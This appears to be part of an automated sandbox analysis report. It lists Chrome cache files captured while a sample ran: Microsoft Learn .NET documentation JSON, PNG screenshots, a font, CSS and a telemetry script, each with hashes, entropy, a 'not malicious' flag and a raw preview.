Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	179356
Entropy (8bit):	5.435190027091877
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVh:Wof3G0NSkNzMeO7z/l3h
MD5:	0F61EF7FBE30EC2928271294A8C024DE
SHA1:	2406F5A322682E63FFD6E4C800279C4A2863C5FA
SHA-256:	C615B312E47BAC8CDD9C379BF267AE6F9B4F17CC86C568280DC94598207AAFC1
SHA-512:	1205F73DFA6D4541E8CE391ED8574278E89620DCE215852D090A8BEB98C3BC994D123F42DCBFE55973418D51AABA413C8A29EB26019606A4A9C6FA320FBEAF0F
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

